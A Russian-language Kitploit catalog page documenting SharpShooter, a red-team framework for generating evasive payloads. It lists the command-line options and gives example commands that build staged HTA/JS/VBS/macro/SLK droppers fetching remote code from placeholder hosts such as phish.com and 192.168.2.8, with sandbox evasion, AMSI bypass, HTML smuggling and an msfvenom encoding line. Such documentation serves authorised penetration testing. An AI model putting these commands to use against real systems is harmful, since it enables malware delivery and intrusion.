Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SharpShooter — Фреймворк для генерации полезных нагрузок | Kitploit
Инструменты/GitHubGitHub/mdsecactivebreach/sharpshooter
Инструменты фишингаПовышение привилегийГенерация полезной нагрузкиЭксплуатацияОбход IDS/IPSЛатеральное перемещениеШелл-кодЭксплуатация веб-приложенийКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиАнализ DNS
2.0k3682 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubmdsecactivebreach/sharpshooter

SharpShooter

Фреймворк для генерации полезных нагрузок

Репозиторий
root@kitploit:~
   _____ __                    _____ __                __           
  / ___// /_  ____ __________ / ___// /_  ____  ____  / /____  _____
  \__ \/ __ \/ __ `/ ___/ __ \\__ \/ __ \/ __ \/ __ \/ __/ _ \/ ___/
 ___/ / / / / /_/ / /  / /_/ /__/ / / / / /_/ / /_/ / /_/  __/ /    
/____/_/ /_/\__,_/_/  / .___/____/_/ /_/\____/\____/\__/\___/_/     
                     /_/                                            

Описание

SharpShooter — это фреймворк для создания полезных нагрузок, предназначенный для получения и выполнения произвольного CSharp-кода. SharpShooter способен создавать полезные нагрузки в различных форматах, включая HTA, JS, VBS и WSF. Он использует инструмент DotNetToJavaScript Джеймса Форшоу для вызова методов из сериализованного DotNet-объекта SharpShooter. Полезные нагрузки могут доставляться через Web, DNS или оба способа; SharpShooter совместим с проектом MDSec ActiveBreach PowerDNS. Кроме того, можно генерировать бесстадийные полезные нагрузки со встроенным выполнением shellcode для тех же форматов скриптов.

Полезные нагрузки SharpShooter шифруются RC4 со случайным ключом для обеспечения некоторой защиты от антивирусов, а проект включает возможность интеграции обнаружения песочницы и привязки к окружению, что помогает избежать обнаружения.

SharpShooter содержит предопределённый шаблон C# для выполнения shellcode с стадийными и бесстадийными полезными нагрузками, но любой C#-код может быть скомпилирован и выполнен в памяти с помощью рефлексии благодаря провайдеру CodeDom из C#.

Наконец, SharpShooter предоставляет возможность встраивать полезную нагрузку внутрь HTML-файла с использованием техники Demiguise HTML smuggling.

SharpShooter ориентирован на версии .NET Framework v2, v3 и v4, которые присутствуют на большинстве конечных рабочих станций Windows.

Версия 1.0 SharpShooter представила несколько новых концепций, включая COM-стадирование, выполнение Squiblydoo и Squiblytwo, а также выполнение XSL. Для реализации этой новой функциональности были добавлены несколько новых флагов: --com, --awl и --awlurl.

Версия 2.0 SharpShooter добавила модуль обхода AMSI, а также поддержку генерации документов с макросами VBA и Excel 4.

Дополнительную информацию можно найти в блоге MDSec.

Использование — режим командной строки:

SharpShooter является высоконастраиваемым, поддерживая множество типов полезных нагрузок, обходов песочниц, методов доставки и выходных форматов.

Запуск SharpShooter с аргументом --help выводит следующий текст:

root@kitploit:~
usage: SharpShooter.py [-h] [--stageless] [--dotnetver <ver>] [--com <com>]
                       [--awl <awl>] [--awlurl <awlurl>] [--payload <format>]
                       [--sandbox <types>] [--amsi <amsi>] [--delivery <type>]
                       [--rawscfile <path>] [--shellcode] [--scfile <path>]
                       [--refs <refs>] [--namespace <ns>] [--entrypoint <ep>]
                       [--web <web>] [--dns <dns>] [--output <output>]
                       [--smuggle] [--template <tpl>]

optional arguments:
  -h, --help          показать это справочное сообщение и выйти
  --stageless         Создать бесстадийную полезную нагрузку
  --dotnetver <ver>   Целевая версия .NET: 2 или 4
  --com <com>         Техника COM-стадирования: outlook, shellbrowserwin, wmi, wscript, xslremote
  --awl <awl>         Техника обхода белых списков приложений: wmic, regsvr32
  --awlurl <awlurl>   URL для получения XSL/SCT полезной нагрузки
  --payload <format>  Тип полезной нагрузки: hta, js, jse, vba, vbe, vbs, wsf
  --sandbox <types>   Техники защиты от песочниц:
                      [1] Привязка к домену (например, 1=CONTOSO)
                      [2] Проверка принадлежности к домену
                      [3] Проверка артефактов песочницы
                      [4] Проверка плохих MAC-адресов
                      [5] Проверка отладки
  --amsi <amsi>       Использовать технику обхода AMSI: amsienable
  --delivery <type>   Метод доставки: web, dns, both
  --rawscfile <path>  Путь к файлу с raw shellcode для бесстадийных полезных нагрузок
  --shellcode         Использовать встроенное выполнение shellcode
  --scfile <path>     Путь к файлу с shellcode в виде байтового массива C#
  --refs <refs>       Сборки, необходимые для компиляции пользовательского C#,
                      например, mscorlib.dll,System.Windows.Forms.dll
  --namespace <ns>    Пространство имён для пользовательского C#,
                      например, Foo.bar
  --entrypoint <ep>   Метод для выполнения,
                      например, Main
  --web <web>         URI для веб-доставки
  --dns <dns>         Домен для DNS-доставки
  --output <output>   Имя выходного файла (например, maldoc)
  --smuggle           Встроить файл внутри HTML
  --template <tpl>    Имя файла шаблона (например, mcafee)

Примеры некоторых вариантов использования приведены ниже:

Бесстадийный JavaScript

root@kitploit:~
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

Создание бесстадийной JavaScript-полезной нагрузки для версии 4 .NET Framework. В этом примере будет создан файл с именем foo.js в выходном каталоге. Shellcode считывается из файла ./raw.txt. Нагрузка пытается применить некоторые методы обхода песочницы, привязывая выполнение к домену CONTOSO и проверяя наличие известных артефактов песочницы/ВМ.

Бесстадийный HTA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

Создание бесстадийной HTA-полезной нагрузки для версии 2/3 .NET Framework. В этом примере будет создан файл с именем foo.hta в выходном каталоге. Shellcode считывается из файла ./raw.txt. Нагрузка пытается применить обход песочницы, проверяя известные виртуальные MAC-адреса. Также будет сгенерирована полезная нагрузка с HTML-контрабандой с именем foo.html в выходном каталоге. Эта нагрузка будет использовать пример шаблона сканирования вирусов McAfee.

Стадийный VBS

root@kitploit:~
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

Этот пример создаёт стадийную VBS-нагрузку, использующую как веб-, так и DNS-доставку. Нагрузка будет пытаться получить GZip-сжатый C#-файл, который выполняет shellcode, предоставленный в виде байтового массива C# из файла csharpsc.txt. Используется встроенный шаблон выполнения shellcode SharpShooter. Полезная нагрузка создаётся в выходном каталоге с именем foo.payload и должна размещаться по адресу http://www.foo.bar/shellcode.payload. Тот же файл также должен быть размещён на домене bar.foo с использованием PowerDNS для его обслуживания. Файл VBS будет пытаться привязать выполнение к домену CONTOSO и будет встроен в HTML-файл с использованием техники HTML-контрабанды и шаблона McAfee. Результирующая нагрузка сохраняется в выходном каталоге с именем foo.html.

Пользовательский C# внутри VBS

root@kitploit:~
SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

Этот пример демонстрирует создание стадийной JS-нагрузки, использующей веб-доставку и получающей нагрузку с http://www.phish.com/implant.payload. Сгенерированная нагрузка будет пытаться обойти песочницу и скомпилировать полученную нагрузку, для чего требуются ссылки на сборки mscorlib.dll и System.Windows.Forms.dll. После успешной компиляции будет выполнен метод Main в пространстве имён MDSec.SharpShooter.

Создание VBS Squiblytwo

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

Этот пример создаёт VBS-нагрузку с COM-стадированием (контрабанда), использующую COM-метод Outlook.CreateObject() в качестве примитива для запуска wmic.exe и выполнения размещённой таблицы стилей. Параметр --awl не используется, по умолчанию применяется wmic.

Создание XSL HTA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Этот пример создаёт HTA-файл с контрабандой, использующий COM-интерфейс XMLDOM для получения и выполнения размещённой таблицы стилей.

Создание макроса VBA

root@kitploit:~
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

Этот пример создаёт файл макроса VBA, использующий COM-интерфейс XMLDOM для получения и выполнения размещённой таблицы стилей.

Создание документа с макросом Excel 4.0 SLK

root@kitploit:~
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

Этот пример создаёт файл Excel 4.0 SLK, который выполняет предоставленный shellcode и оборачивает его в HTML. Shellcode не должен содержать нулевые байты, подсказка:

root@kitploit:~
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

Автор и благодарности

Автор: Dominic Chell, MDSec ActiveBreach @domchell и @mdseclabs

Благодарности:

  • @tiraniddo: James Forshaw за DotNetToJScript
  • @Arno0x0x: за EmbedInHTML
  • @buffaloverflow: Rich Warren за Demiguise
  • @arvanaghi и @ChrisTruncer: Brandon Arvanaghi и Chris Truncer за CheckPlease
  • @subTee: документация по техникам Squiblydoo и Squiblytwo
  • @StanHacked: техника Excel 4.0 и примеры кода
Скачать инструмент